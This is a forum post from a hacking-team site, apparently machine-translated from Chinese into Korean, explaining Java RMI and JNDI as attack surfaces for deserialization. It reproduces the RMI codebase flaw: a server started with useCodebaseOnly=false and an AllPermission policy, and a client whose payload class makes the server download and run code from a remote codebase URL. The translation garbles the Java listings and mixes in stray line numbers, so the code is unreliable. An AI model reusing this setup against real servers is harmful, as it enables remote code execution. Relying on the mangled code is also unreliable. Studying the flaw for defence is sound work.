KoreanHackerTeam
Moderator
反序列化攻击涉及到的相关协议
RMI 및 JNDI는 Java 분포에서 더 자주 사용되는 기술입니다. JRMP 원격 메시지 교환 프로토콜은 Java RMI에서 실행되며 기본 전송 프로토콜입니다.웹 응용 프로그램을 예로 들어 보면 RMI는 HTTP 프로토콜과 같으며 JNDI는 Apache HTTP 서버와 같으며 JRMP는 TCP 프로토콜과 동일합니다. HTTP는 백엔드에서 파일을 요청합니다. 실제로 백엔드 미들웨어는 Apache뿐만 아니라 IIS, Tomcat 등입니다. 기본 계층은 데이터를 전송하기위한 TCP 프로토콜을 기반으로합니다.
1 RMI
1.1 RMI 原理
RMI의 전체 이름은 원격 메소드 호출, 원격 메소드 호출입니다. 목표 목표는 RPC와 유사하며 Java 가상 머신에 다른 Java 가상 머신의 객체에 메소드를 호출하는 것입니다.전체 프로세스와 관련된 세 가지 조직이 있습니다 : 클라이언트, 레지스트리 및 서버.

RMI의 전송은 사막화에 기초합니다.
객체가 매개 변수로있는 모든 RMI 인터페이스의 경우 서버 측이 서버 클래스 경로에 존재하는 직렬화 가능한 클래스로 복구 객체를 실조시키는 객체를 빌드하십시오.
RMI에는 매개 변수의 통과 및 실행 결과의 반환이 포함됩니다. 매개 변수 또는 반환 값은 기본 데이터 유형 일 수 있으며 물론 객체에 대한 참조 일 수도 있습니다. 따라서 전송 해야하는 이러한 객체는 직렬화되어야하며, 해당 클래스는 Java.io.serializable 인터페이스를 구현해야하며 클라이언트의 SerialversionUid 필드는 서버와 일치해야합니다.
질문
Stub 란 무엇입니까?
각 원격 객체에는 프록시 객체 스터브가 포함되어 있습니다. 로컬 Java Virtual Machine에서 실행되는 프로그램이 원격 Java Virtual Machine에서 실행되는 객체 메소드를 호출 할 때 먼저 해당 객체의 프록시 객체 스텁을 로컬로 작성한 다음 프록시 객체에서 일치하는 메소드를 호출합니다.
스터브 객체는 네트워크 계층에서 매개 변수 및 반환 값 스트리밍, 포장 및 포장 풀기 및 통신 프로세스를 호출하는 데 도움이됩니다.
골격이란 무엇입니까?
각 원격 객체에는 골격 물체도 포함되어 있습니다. 스켈레톤은 원격 객체가 위치한 가상 시스템에서 실행되고 스터브 객체에서 호출을 허용합니다.
RMI의 기본 작업 :
조회
묶다
undind
목록
리빈스
1.2 模拟 Java RMI 利用过程
1.2.1 RMI Server
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
패키지 com.geekby.javarmi;
java.rmi.naming 가져 오기;
import java.rmi.remote;
java.rmi.remoteexception import;
java.rmi.registry.locateregistry;
import java.rmi.server.unicastremoteobject;
공개 클래스 rmiserver {
Public Interface Iremotehelloworld는 원격 {
공개 문자열 hello ()는 remoteexception을 던졌습니다.
}
공개 클래스 remoteHelloworld는 unicastremoteobject emplements rmiserver.iremotehelloworld {
보호 된 원격 helloworld ()는 remoteexception을 던졌습니다.
감독자();
}
@보수
public String hello ()는 remoteexception {
'Hello World'를 반환합니다.
}
}
private void start ()는 예외 {
remotehelloworld h=새로운 remotehelloworld ();
//RMI 레지스트리를 생성하고 실행합니다
locateregistry.createregistry (1099);
//remoteHelloworld 객체를 이름으로 바인딩합니다
naming.rebind ( 'rmi: //127.0.0.1:1099/hello', h);
}
public static void main (string [] args)은 예외 {
new rmiserver (). start ();
}
}
위에서 언급했듯이 RMI 서버는 세 부분으로 나뉩니다.
java.rmi.remote를 상속하는 인터페이스.
이 인터페이스를 구현하는 클래스
메인 클래스는 레지스트리를 생성하고 위의 클래스를 인스턴스화하여 주소, 즉 서버에 바인딩하는 데 사용됩니다.
위의 예제 코드에서 레지스트리를 서버와 병합하십시오.
이름 지정의 첫 번째 매개 변수는 다음과 같은 URL입니다. rmi: //host

정보
RMI 레지스트리가 로컬로 실행되면 호스트와 포트를 생략 할 수 있습니다. 현재 호스트 기본값은 LocalHost로 기본적으로, 포트 기본값은 1099로 향합니다.
1
naming.bind ( 'Hello', NewRemoteHellowORLD ());
1.2.2 RMI Client
12
3
4
5
6
7
8
9
10
11
패키지 com.geekby.javarmi;
java.rmi.naming 가져 오기;
공개 클래스 rmiclient {
public static void main (string [] args)은 예외 {
rmiserver.iremotehelloworld hello=(rmiserver.iremotehelloworld) naming.lookup ( 'rmi: //127.0.1:1099/hello');
문자열 ret=hello.hello ();
System.out.println (ret);
}
}
클라이언트는 naming.lookup을 사용하여 레지스트리에서 hello라는 이름의 개체를 찾습니다. 후속 사용은 현지 사용과 일치합니다.
원격 메소드를 실행할 때 원격 서버에서 코드가 실행되지만 클라이언트는 여전히 어떤 메소드가 있는지 알아야하며 현재 인터페이스의 중요성이 반영됩니다. 그렇기 때문에 원격을 상속하고 인터페이스 Iremotehelloworld에서 호출 해야하는 메소드를 작성해야합니다. 클라이언트 도이 인터페이스를 사용해야하기 때문입니다.
Wireshark 패킷 캡처를 통해 통신 프로세스를 관찰하십시오.

전체 프로세스는 두 개의 TCP 핸드 셰이크로 수행되었으며, 이는 두 개의 TCP 연결이 실제로 설정되었음을 의미합니다.
TCP 연결이 처음 설정되는 것은 서버의 포트 1099에 연결하는 클라이언트입니다. 클라이언트가 협상 한 후 클라이언트는 서버에 통화 메시지를 보내고 서버는 ReturnData 메시지에 응답 한 다음 클라이언트가 원격 끝에서 포트 51388에 연결하기 위해 새 TCP 연결을 만듭니다.



전체 프로세스에서 먼저 클라이언트는 레지스트리에 연결하고 이름이 Hello 인 객체를 찾습니다. 이는 데이터 스트림의 호출 메시지에 해당합니다. 그런 다음 Registry는 직렬화 된 데이터를 반환합니다.이 데이터는 데이터 스트림의 ReturnData 메시지에 해당하는 Name=Hello가있는 개체입니다. 클라이언트는 객체를 불안정하게하고 객체가 IP

정보
RMI 레지스트리는 원격 메소드 자체를 실행하지 않는 게이트웨이와 같습니다. 그러나 RMI 서버는 객체 바인딩 관계에 이름을 등록 할 수 있습니다. RMI 클라이언트는 이름을 통해 RMI 레지스트리를 쿼리 하여이 바인딩 관계를 얻은 다음 RMI 서버에 연결합니다. 마지막으로 원격 메소드는 실제로 RMI 서버에서 호출됩니다.
1.3 攻击面
공격자가 대상 RMI 레지스트리에 액세스 할 수있을 때 어떤 보안 문제가 발생합니까?우선, RMI Registry는 원격 객체 관리를위한 장소이며, 원격 객체의 "백엔드"로 이해 될 수 있습니다. 원격 서버에서 Hello의 해당 객체를 수정하는 등 "백엔드"기능에 직접 액세스하려고 시도 할 수 있습니다. 그러나 Java는 RMI 레지스트리에 대한 원격 액세스를 제한했습니다. 소스 주소가 LocalHost가 Rebind, Bind, Unbind 및 기타 방법을 호출 할 수있는 경우에만.
그러나 목록 및 조회 방법을 원격으로 호출 할 수 있습니다.

1.3.1 RMI 利用 codebase 执行任意代码
Java가 브라우저에서 실행할 수있는 시간이있었습니다. 애플릿을 사용하는 경우 일반적으로 다음과 같은 코드베이스 속성을 지정해야합니다.1
애플릿 코드='helloworld.class'codebase='애플릿 너비='800 '높이='600 ' /애플릿
애플릿 외에도 RMI에는 코드베이스와 관련된 원격 로딩 시나리오도 있습니다. Codebase는 Java 가상 머신에 클래스를 검색 할 위치를 알려주는 주소입니다.
codebase=http://geekby.site/를 지정한 다음 org.example.example 클래스를로드하면 Java Virtual Machine은 파일 http://geekby.site/org/example.class를 다운로드하고 예제 클래스의 바이트 코드 역할을합니다.
RMI 프로세스에서는 일부 직렬화 된 객체가 클라이언트와 서버 사이에 전달됩니다. 이 객체를 사로화하면 클래스를 찾을 것입니다. 끝을 버릴 때 객체가 발견되면, 해당 클래스를 찾기 위해 자신의 클래스 경로로 이동합니다. 이 클래스가 로컬로 발견되지 않으면 Codebase에 클래스를 원격으로로드합니다.
CodeBase가 제어되면 악성 클래스를로드 할 수 있습니다. RMI에서 코드베이스는 직렬화 된 데이터와 함께 전송 될 수 있습니다. 이 데이터를 수신 한 후 서버는 클래스에 대한 ClassPath 및 지정된 코드베이스를 검색합니다. CodeBase가 제어되므로 임의의 명령 실행 취약점이 발생합니다.
공무원은 다음의 보안 문제를 해결했습니다.
SecurityManager가 설치 및 구성됩니다
Java 버전은 7U21, 6U45 또는 java.rmi.server.usecodebaseonly보다 낮습니다.
공무원은 java.rmi.server.usecodebaseonly의 기본값을 False에서 True로 변경했습니다. java.rmi.server.usecodebaseonly가 true로 구성되면 Java Virtual Machine은 사전 구성된 코드베이스만을 신뢰하고 더 이상 RMI 요청에서 가져 오는 지원을 지원하지 않습니다.
4 개의 파일을 만들어 취약점을 재현하십시오.
icalc.java
1
2
3
4
5
6
import java.rmi.remote;
java.rmi.remoteexception import;
Java.util.list 가져 오기;
Public Interface icalc는 원격 {{
공개 정수 합 (ListInteger Params)은 remoteexception을 던졌습니다.
}
calc.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
java.rmi.remoteexception import;
Java.util.list 가져 오기;
import java.rmi.server.unicastremoteobject;
공개 클래스 calc는 unicastremoteobject emplements amialc {를 확장합니다.
public calc ()는 remoteexception {} 던지기
Public Integer Sum (Listinteger Params)은 remoteexception을 던졌습니다.
정수 합계=0;
for (정수 param : params) {
sum +=param;
}
반환 합계;
}
}
RemoterMiserver.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java.rmi.naming 가져 오기;
java.rmi.registry.locateregistry;
공개 클래스 remoterMiserver {
private void start ()는 예외 {
if (system.getSecurityManager ()==null) {
System.out.println ( 'Setup SecurityManager');
System.SetSecurityManager (New SecurityManager ());
}
calc h=새로운 calc ();
locateregistry.createregistry (1099);
naming.rebind ( 'refobj', h);
}
public static void main (string [] args)은 예외 {
new RemoterMiserVer (). start ();
}
}
Client.policy
1
2
3
승인하다 {
권한 java.security.allpermission;
};
컴파일 및 실행 :
1
2
Javac *.java
java -djava.rmi.server.hostname=10.28.178.250 -djava.rmi.server.usecodebaseonly=false -djava.security.policy=client.policy remotermiserver
rmiclient.java :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
java.rmi.naming 가져 오기;
Java.util.list 가져 오기;
java.util.arraylist 가져 오기;
java.io.serializable import;
공개 클래스 rmiclient는 직렬화 가능한 {
공개 클래스 페이로드는 arraylistinteger {}을 확장합니다.
public void Xookup ()는 예외를 던지려고 {
icalc r=(icalc)
naming.lookup ( 'rmi: //10.28.178.250:1099/refobj');
ListInteger li=new Payload ();
li.add (3);
li.add (4);
System.out.println (r.sum (li));
}
public static void main (string [] args)은 예외 {
new rmiclient (). lookup ();
}}
이 클라이언트는 다른 위치에서 실행해야하며 RMI 서버는 Codebase에 클래스를로드하기 전에 로컬 클래스 경로에서 클래스를 찾을 필요가 없습니다. 따라서 RMICLIENT.JAVA는 RMI 서버가있는 디렉토리에 배치 할 수 없습니다.
rmiclient 실행 :
1
java -djava.rmi.server.usecodebaseonly=false -djava.rmi.server.codebase=http://example.com/rmiclient
악성 클래스를 컴파일하고 클래스 파일을 웹 서버에 /rmiclient$payload.class에 배치하면됩니다.
2 JNDI
JNDI (Java Naming and Directory Interface), 이름 지정 서비스 및 디렉토리 서비스. JNDI는 Java API,允许客户端通过名称发现和查找数据、对象입니다. 이러한 객체는 원격 메소드 호출 (RMI), 공개 객체 요청 프록시 아키텍처 (CORBA), 가벼운 디렉토리 액세스 프로토콜 (LDAP) 또는 도메인 이름 서비스 (DNS)와 같은 다른 명명 또는 디렉토리 서비스에 저장할 수 있습니다.2.1 JNDI 组成
이름 지정 서비스이름 지정 서비스 인 이름 지정 서비스는 이름을 통해 개체를 찾는 작업을 제공하여 이름 지정 이름을 객체와 연관시킵니다.
이름
이름, 이름 지정 시스템에서 객체를 찾으려면 객체의 이름을 제공해야합니다.
제본
이름과 개체에 대한 링크를 바인딩이라고합니다.
참조
참조. 일부 명명 된 서비스 시스템에서 시스템은 시스템에 객체를 직접 저장하지 않지만 객체에 대한 참조를 유지합니다.
문맥
컨텍스트, 컨텍스트는 일련의 이름과 개체의 바인딩 모음입니다.
参考
RMI, JNDI, LDAP, JRMP, JMX, JMS의 JMSPhith0n Java 채팅 시리즈